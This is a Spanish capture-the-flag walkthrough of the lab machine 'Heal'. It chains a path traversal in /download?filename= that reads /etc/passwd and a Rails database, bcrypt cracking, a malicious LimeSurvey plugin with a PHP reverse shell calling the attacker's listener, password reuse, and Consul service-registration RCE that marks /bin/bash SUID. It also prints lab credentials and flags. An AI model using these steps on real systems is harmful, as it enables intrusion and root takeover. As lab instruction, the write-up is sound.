Heal
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. Heal es una máquina Linux de dificultad media muy encadenada. El front es una React que habla con una API en Ruby on Rails (api.heal.htb); el exportador de currículos tiene un path traversal (/download?filename=) que deja leer la base SQLite de Rails y, con ella, el hash bcrypt deralph, quejohncrackea. Esas credenciales abren un tercer subdominio con LimeSurvey 6.6.4, donde un plugin malicioso da shell comowww-data. La contraseña de PostgreSQL delconfig.phpse reutiliza parasu ron, y desde ahí un reenvío de puertos expone un Consul interno vulnerable a RCE por registro de servicio, que ejecuta comoroot.
Reconocimiento
Ping
Empezamos con un ping para confirmar que la máquina responde y mirar el TTL, que orienta sobre el sistema operativo.
ping -c 1 10.10.11.4664 bytes from 10.10.11.46: icmp_seq=1 ttl=63 time=38.2 msTTL 63 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 63 = 64−1; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.
Escaneo de puertos
sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.10.11.46 -oG scan
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
MAC Address: 00:50:56:B0:2E:D8 (VMware)Solo dos puertos de 65535. Una superficie tan estrecha significa que todo el ataque tiene que pasar por el 80, porque el 22 sin credenciales no es un vector.
Para no copiar los puertos a mano al segundo escaneo, una función auxiliar del .zshrc:

Extracting information...
IP Address: 10.10.11.46
Open ports: 22,80
Ports copied to clipboardnmap -p22,80 -sCV 10.10.11.46
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 68:af:80:86:6e:61:7e:bf:0b:ea:10:52:d7:7a:94:3d (ECDSA)
|_ 256 52:f4:8d:f1:c7:85:b6:6f:c6:5f:b2:db:a6:17:68:ae (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://heal.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelLa línea que importa es Did not follow redirect to http://heal.htb/: el servidor responde a la IP con una redirección a un nombre de dominio. Eso es virtual hosting, y significa que sin ese nombre en el /etc/hosts no se ve el sitio real.

10.10.11.46 heal.htbwhatweb identifica el stack del front:
whatweb http://heal.htb
http://heal.htb [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)],
IP[10.10.11.46], Script, Title[Heal], X-Powered-By[Express], nginx[1.18.0]El X-Powered-By[Express] delata un backend Node/Express sirviendo el front; el título Heal y el nginx por delante completan el stack.
Lo que el fuzzing de directorios no encontró
Antes de mirar subdominios toca lo obvio: buscar rutas en el propio dominio.
dirsearch -u http://heal.htb/
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /home/krmena/reports/http_heal.htb/__24-12-22_19-24-53.txt
Target: http://heal.htb/
[19:24:53] Starting:
Task CompletedNi un solo resultado. No es un fallo de la herramienta: es lo que cabe esperar de una SPA de React, donde todas las rutas las resuelve el JavaScript en el navegador y el servidor devuelve siempre el mismo index.html. Un diccionario de 11 460 nombres no encuentra nada porque no hay nada que encontrar en el sistema de ficheros. La consecuencia práctica: si la lógica no está en rutas, estará en otro host.
La web tampoco deja entrar por la puerta. Un intento de acceso con credenciales inventadas devuelve el mismo mensaje genérico, sin distinguir entre usuario inexistente y contraseña incorrecta:

Something went wrong!El enlace NEW HERE? SIGN UP lleva al formulario de registro, que falla igual:

Something went wrong!El registro está roto (o deshabilitado), así que no hay forma de crearse una cuenta legítima.
Subdominios: la API en Rails
Con el fuzzing de rutas agotado y el registro cerrado, queda fuzzear por vhost: pedir siempre la misma IP cambiando la cabecera Host y quedarse con las respuestas distintas.
gobuster vhost -u http://heal.htb/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 300 --append-domain | grep -v 400
Starting gobuster in VHOST enumeration mode
Found: api.heal.htb Status: 200 [Size: 12515]
Found: API.heal.htb Status: 200 [Size: 12515]
Progress: 220559 / 220560 (100.00%)Se confirma con wfuzz, filtrando por los códigos de la respuesta por defecto:
wfuzz -u http://heal.htb -H "Host: FUZZ.heal.htb" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --hc=301,400 -t 200
Target: http://heal.htb/
Total requests: 220559
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000001026: 200 90 L 186 W 12515 Ch "api"
000012688: 200 90 L 186 W 12515 Ch "API"De 220 559 nombres, uno: api (y su versión en mayúsculas, que es el mismo vhost, porque los nombres DNS no distinguen capitalización). Añadido al /etc/hosts:

10.10.11.46 heal.htb api.heal.htbapi.heal.htb responde con la página por defecto de Ruby on Rails 7.1.4 (Ruby 3.3.5). No hay un CVE directo para esa versión, así que el camino estará en la lógica de la aplicación.

Acceso a la aplicación
Cómo autentica el front
Antes de atacar el login hay que ver qué manda. Interceptando con Burp aparecen dos peticiones por intento, no una:

La primera es un OPTIONS (el preflight de CORS que el navegador lanza por su cuenta cuando el front en heal.htb habla con api.heal.htb, otro origen). No lleva credenciales y no sirve para atacar. La segunda sí:

POST /signin HTTP/1.1
Host: api.heal.htb
Content-Type: application/json
Origin: http://heal.htb
{
"username":"test",
"password":"test"
}Dato clave para automatizar: el cuerpo es JSON, no un formulario. Eso descarta el http-post-form de hydra tal cual y obliga a construir la petición a mano:
curl http://api.heal.htb/signin -H "Content-Type: application/json" --data '{"username":"admin","password":"admin"}'
{"token":"eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoOfQ.J0NnCAdf82F0IukEy8HTIUHK49VpBnwHhtd4hBp-Y_w"}Las credenciales típicas admin:admin entran a la primera. La respuesta no es una cookie sino un JWT, que es lo que el front guardará y enviará en la cabecera Authorization: Bearer de cada llamada posterior; conviene tenerlo presente porque hará falta para repetir peticiones desde Burp.
Por completitud, así se plantearía el ataque por fuerza bruta contra ese endpoint (aquí innecesario, pero es el camino que se seguiría sin acertar con la credencial típica):


Una vez dentro, la aplicación es un constructor de currículos que permite exportar el CV a PDF.


Cómo se genera el PDF
Exportar el CV dispara otra secuencia de peticiones. Primero el OPTIONS de rigor:

Luego el POST que genera el fichero, y aquí se ve el diseño completo:

POST /exports HTTP/1.1
Host: api.heal.htb
Content-Type: application/json
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoOfQ.J0NnCAdf82F0IukEy8HTIUHK49VpBnwHhtd4hBp-Y_w
{
"content": "<!DOCTYPE html>\n<html>\n<head>\n<style>...</style>\n</head>\n<body>\n
<div class=\"resume-container\">\n<h1></h1>\n<p>Email: </p>\n...\n</body>\n</html>",
"format": "pdf"
}El cliente manda el HTML entero y el servidor lo convierte. Y la descarga posterior no devuelve el PDF en la misma respuesta: entrega un nombre de fichero que hay que pedir aparte.

Un parámetro que contiene un nombre de fichero controlado por el cliente es exactamente el patrón que hay que probar.
LFI: leyendo la base de datos
/download?filename= y el path traversal
Se envía esa última petición al Repeater, se cambia el método a GET y se apunta filename fuera del directorio previsto. El clásico para confirmarlo:
GET /download?filename=/etc/passwd HTTP/1.1
Host: api.heal.htb
Authorization: Bearer <jwt>
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
...
ralph:x:1000:1000:ralph:/home/ralph:/bin/bash
postgres:x:116:123:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
_laurel:x:998:998::/var/log/laurel:/bin/false
ron:x:1001:1001:,,,:/home/ron:/bin/bashEs un path traversal con lectura arbitraria, y de paso entrega el mapa de usuarios: solo root, ralph, postgres y ron tienen shell. Esos dos nombres son los objetivos del pivoting, y conviene anotarlos ahora: cuando más adelante aparezca una contraseña suelta, ya sabremos contra quién probarla.
Dónde guarda Rails sus secretos
Para saber qué pedir hay que conocer la estructura de un proyecto Rails. La forma honesta de averiguarlo es montar uno en local:
sudo apt install ruby-full
gem install rails
rails new myapp
tree myapp
myapp
├── Dockerfile
├── Gemfile
├── Rakefile
├── app
│ ├── controllers
│ ├── models
│ └── views
├── bin
│ ├── rails
│ └── setup
├── config
│ ├── credentials.yml.enc
│ ├── database.yml
│ ├── environments
│ └── initializers
...config/database.yml dice dónde vive la base de datos, y en una app Rails en modo desarrollo eso suele ser storage/development.sqlite3. Ese es el fichero que pedir:
GET /download?filename=../../storage/development.sqlite3
El volcado de la base incluye la tabla users con sus password_digest. El de ralph (ralph@heal.htb, marcado como administrador) es un bcrypt ($2a$ al principio y 60 caracteres):
ralph@heal.htb $2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnGCrackear el hash
john --wordlist=rockyou.txt --format=bcrypt --fork=8 hash
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
147258369 (?)
1g 0:00:00:10 DONE (2024-12-23 16:20) 0.09285g/s ... 147258369..amigosLa contraseña es 147258369 (una diagonal del teclado numérico). El /etc/passwd decía que ralph tiene shell, así que lo primero es probar por SSH:
ssh ralph@heal.htb
ralph@heal.htb's password:
Permission denied, please try again.
ralph@heal.htb's password:
Permission denied, please try again.
ralph@heal.htb's password:No cuela: la contraseña es de la aplicación, no de la cuenta del sistema. Es una distinción que se pasa por alto a menudo, y la evidencia de que fallan es tan útil como la de que funcionan. Donde sí vale es en el propio panel web, donde ralph resulta ser administrador:


Shell como www-data
Un tercer subdominio
Como administrador tampoco hay nada explotable a la vista, así que toca releer la web con más calma. Y en la propia interfaz hay un botón que nadie mira:



El enlace apunta a take-survey.heal.htb, un tercer vhost que el fuzzing no encontró (no está en directory-list-2.3-medium.txt) pero que la aplicación publica ella sola. Es el mismo patrón que en otras máquinas: mirar el sitio antes de lanzar 220 000 nombres.

10.10.11.46 heal.htb api.heal.htb take-survey.heal.htbLas credenciales de ralph también abren este panel (otra reutilización), y la versión es LimeSurvey 6.6.4:

Plugin malicioso
LimeSurvey deja instalar plugins desde el panel (Configuration → Plugins). Como en tantos CMS, eso es ejecución de código: un plugin es PHP que el servidor va a ejecutar.

El paquete mínimo son dos ficheros: un config.xml con los metadatos que LimeSurvey exige y la reverse shell. Se parte del proyecto de Y1LD1R1M, con un detalle que hay que corregir a mano:

<compatibility>
<version>3.0</version>
<version>4.0</version>
<version>5.0</version>
<version>6.0</version>
</compatibility>El config.xml original solo declara compatibilidad hasta la 5.0, y este LimeSurvey es 6.6.4: sin añadir la línea <version>6.0</version> la instalación se rechaza antes de subir nada. Es el tipo de detalle que convierte un exploit "que no funciona" en uno que sí.
En la reverse shell se ajustan IP y puerto de escucha:

$ip = '10.10.14.x'; // CHANGE THIS
$port = 1234; // CHANGE THISzip Y1LD1R1M.zip config.xml php-rev.php
updating: config.xml (deflated 56%)
updating: php-rev.php (deflated 61%)El propio repositorio trae un exploit.py que automatiza toda la secuencia (login, subida, instalación, activación y petición final), pero está escrito para el .zip y la ruta del autor, así que hay tres líneas que cambiar. La primera, el nombre del comprimido que se sube:

filehandle = open("Y1LD1R1M.zip",mode = "rb") # CHANGE THISY al final del script, el identificador del plugin a activar y la ruta desde la que se pide la shell:

Activate_creds = {
"YII_CSRF_TOKEN":CSRF_token4,
"pluginId": "1" # CHANGE THIS
}
...
shell= req.get(url+"/upload/plugins/Y1LD1R1M/php-rev.php") # CHANGE THISNos ponemos a la escucha antes de disparar:
nc -nlvp 1234
listening on [any] 1234 ...Y se lanza el exploit con la URL del LimeSurvey, las credenciales de ralph y el puerto:
python3 exploit.py http://take-survey.heal.htb ralph 147258369 80
[+] Retrieving CSRF token ...
[+] Sending Login Request ...
[+]Login Successful
[+] Upload Plugin Request ...
[+] Plugin Uploaded Successfully
[+] Install Plugin Request ...
[+] Plugin Installed Successfully
[+] Activate Plugin Request ...
[+] Plugin Activated Successfully
[+] Reverse Shell Starting, Check Your Connection :)El script se queda colgado en esa última línea: es la señal de que la petición al .php está bloqueada porque la reverse shell ya se está ejecutando al otro lado. En el listener llega la shell como www-data:

$ whoami
www-dataAcceso como ron
Credenciales de PostgreSQL
El config.php de LimeSurvey guarda la cadena de conexión a la base de datos con la contraseña en claro:
cat application/config/config.php | grep pass
'connectionString' => 'pgsql:host=localhost;port=5432;user=db_user;password=AdmiDi0_pA$$w0rd;dbname=survey;'psql -h localhost -p 5432 -U db_user -d survey
Password for user db_user:
psql (14.15 (Ubuntu 14.15-0ubuntu0.22.04.1))
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
Type "help" for help.
survey=> \l
List of databases
Name | Owner | Encoding | Collate | Ctype | Access privileges
-----------+----------+----------+-------------+-------------+-----------------------
postgres | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 |
survey | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | =Tc/postgres +
template0 | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 |
template1 | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 |
(4 rows)En PostgreSQL las tablas se listan con \dt (no con SHOW TABLES):

public | lime_surveys | table | db_user
public | lime_templates | table | db_user
public | lime_user_groups | table | db_user
public | lime_user_in_groups | table | db_user
public | lime_user_in_permissionrole | table | db_user
public | lime_users | table | db_user
(60 rows)De las 60, la interesante es lime_users. Pero el hash de ralph que guarda es el mismo que ya teníamos y no abre ningún usuario nuevo:

Se comprueba pasándolo por john otra vez: el crackeo devuelve la misma contraseña que ya teníamos.
john --show rrhash
?:147258369
?:147258369
2 password hashes cracked, 0 leftLos dos hashes (el de la SQLite de Rails y el de lime_users) son de la misma contraseña, así que por ahí no se avanza. Y probarla con su contra ralph o ron tampoco funciona.
Reutilización de contraseña
El valor que sí sirve no estaba en ninguna tabla, sino en el propio fichero de configuración: AdmiDi0_pA$$w0rd está reutilizada como contraseña del sistema. Y aquí es donde paga haber leído el /etc/passwd por el LFI: los únicos candidatos con shell eran ralph y ron.
su ron # AdmiDi0_pA$$w0rd
ron@heal:~$ cat user.txt
e291269a4b1a1cc5c43022b7cfe015c7Shell como root
Puertos internos y port forwarding
Con una sesión de usuario real, lo primero es mirar qué escucha solo en localhost, que es justo lo que el escaneo desde fuera no podía ver:
netstat -tuln
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:53 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:5432 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:3001 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:8500 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:8503 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:8600 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:8300 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:8301 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:8302 0.0.0.0:* LISTENOnce servicios internos frente a los dos que veía nmap. Como ya tenemos contraseña de ron, el reenvío de puertos por SSH los trae a nuestra máquina sin necesidad de subir herramientas:
ssh -L 2222:127.0.0.1:22 \
-L 8080:127.0.0.1:80 \
-L 5432:127.0.0.1:5432 \
-L 3000:127.0.0.1:3000 \
-L 3001:127.0.0.1:3001 \
-L 8500:127.0.0.1:8500 \
-L 8503:127.0.0.1:8503 \
-L 8600:127.0.0.1:8600 \
-L 8300:127.0.0.1:8300 \
-L 8301:127.0.0.1:8301 \
-L 8302:127.0.0.1:8302 \
ron@heal.htb
ron@heal:~$El comando no imprime nada más: deja la sesión abierta con los túneles montados detrás, y la prueba de que funcionan es que los puertos ya responden en nuestro 127.0.0.1. Recorriéndolos uno a uno, el 8500 es el único con algo aprovechable, un panel de HashiCorp Consul v1.19.2:

El panel confirma de paso lo que hacían los demás puertos: Heal PDF APP, Postgres, Ruby API service. Consul es el orquestador que registra y vigila los servicios de la máquina.
Consul: RCE por registro de servicio
Consul permite registrar servicios con health checks de tipo script, y el endpoint PUT /v1/agent/service/register no sanea ese campo: registrar un servicio con un check malicioso ejecuta comandos como el usuario del agente, que aquí es root. El exploit público es owalid/consul-rce, cuyo README describe exactamente el fallo y cómo invocarlo:

usage: consul_rce.py [-h] -th TARGET_HOST -tp TARGET_PORT -c COMMAND [-s SSL] [-ct CONSUL_TOKEN]
optional arguments:
-h, --help show this help message and exit
-th TARGET_HOST, --target_host TARGET_HOST Target Host (REQUIRED)
-tp TARGET_PORT, --target_port TARGET_PORT Target Port (REQUIRED)
-c COMMAND, --command COMMAND Command to execute (REQUIRED)
-s SSL, --ssl SSL SSL
-ct CONSUL_TOKEN, --consul-token CONSUL_TOKEN Consul TokenNótese que el token de Consul es opcional: si el agente no exige ACL, como aquí, basta con el host y el puerto.
git clone https://github.com/owalid/consul-rce.git
Cloning into 'consul-rce'...
remote: Enumerating objects: 7, done.
remote: Counting objects: 100% (7/7), done.
remote: Compressing objects: 100% (6/6), done.
remote: Total 7 (delta 0), reused 4 (delta 0), pack-reused 0 (from 0)
Receiving objects: 100% (7/7), done.En lugar de una reverse shell (que moriría con el check), el payload deja una puerta permanente marcando /bin/bash como SUID:
echo "chmod u+s /bin/bash" > /tmp/tmp.sh
cat /tmp/tmp.sh
chmod +x /tmp/tmp.sh
ron@heal:/tmp$ cat tmp.sh
chmod u+s /bin/bashpython3 consul_rce.py -th 127.0.0.1 -tp 8500 -ct <token-acl> -c "/bin/bash /tmp/tmp.sh"
[+] Check akudyyphitwdbfx created successfully
[+] Check akudyyphitwdbfx deregistered successfullyEl exploit limpia detrás de sí: registra el check con un nombre aleatorio, deja que se ejecute una vez y lo desregistra. Que ambos pasos digan successfully no prueba todavía que el comando haya corrido, así que se comprueba:
ls -l /bin/bash
ron@heal:/tmp$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1396520 Mar 14 2024 /bin/bashLa s en lugar de la x del propietario es el bit SUID: cualquiera que ejecute /bin/bash lo hará con el EUID de root. Esa s es la prueba de que el RCE funcionó.
bash -p
ron@heal:/tmp$ bash -p
bash-5.1# id
uid=1001(ron) gid=1001(ron) euid=0(root) groups=1001(ron)El -p es imprescindible: sin él, bash detecta que el UID real y el efectivo no coinciden y renuncia al privilegio por seguridad. Con él conserva el euid=0.

bash-5.1# cat /root/root.txt
b976d02afd83a3d57bad01fd36957e2aCadena de ataque
web :80 (React) → heal.htb → vhost fuzz → api.heal.htb (Rails 7.1.4)
│ admin:admin → exportar CV → /download?filename= → path traversal (LFI)
▼
/etc/passwd (ralph, ron) + storage/development.sqlite3 → bcrypt de ralph → john → 147258369
│ no vale para SSH; sí para la web como ralph (admin) → botón "Take the survey"
▼
take-survey.heal.htb → LimeSurvey 6.6.4 → plugin malicioso (config.xml <version>6.0</version> + revshell.php)
▼
www-data → config.php → pass PostgreSQL AdmiDi0_pA$$w0rd (reutilización)
▼
ron (user.txt) → netstat: 11 puertos internos → port forwarding → Consul v1.19.2 :8500
│ PUT /v1/agent/service/register (ServiceID) → chmod u+s /bin/bash
▼
root (bash -p, root.txt)Lecciones aprendidas
- Un parámetro con un nombre de fichero es un LFI a un descuido de distancia. El
/download?filename=de la API entregaba cualquier ruta; primero el/etc/passwd(que da el mapa de usuarios para el pivoting) y luego la base SQLite de Rails con todos los hashes. Validar y normalizar rutas, y servir descargas por identificador. - Un fuzzing vacío también informa. Los 11 460 nombres de
dirsearchsin un solo resultado no eran un fallo: eran la firma de una SPA, y la señal de que había que buscar en otros hosts, no en otras rutas. - La aplicación publica lo que el diccionario no tiene.
take-survey.heal.htbno salió en 220 559 peticiones de vhost, pero estaba en un botón de la propia web. - Una contraseña de aplicación no es una contraseña de sistema. La de
ralphno abría SSH; la de PostgreSQL sí abríasu ron. Probar cada credencial en cada servicio y anotar dónde falla. - Administrador de un CMS = ejecución de código. LimeSurvey permite instalar plugins, y un plugin es PHP que el servidor ejecuta. Restringir quién instala extensiones y aislar el directorio de uploads.
- No expongas (ni ejecutes como root) orquestadores como Consul. Su API ejecuta scripts por diseño; ACLs en deny, checks de script deshabilitados y el agente sin privilegios de root.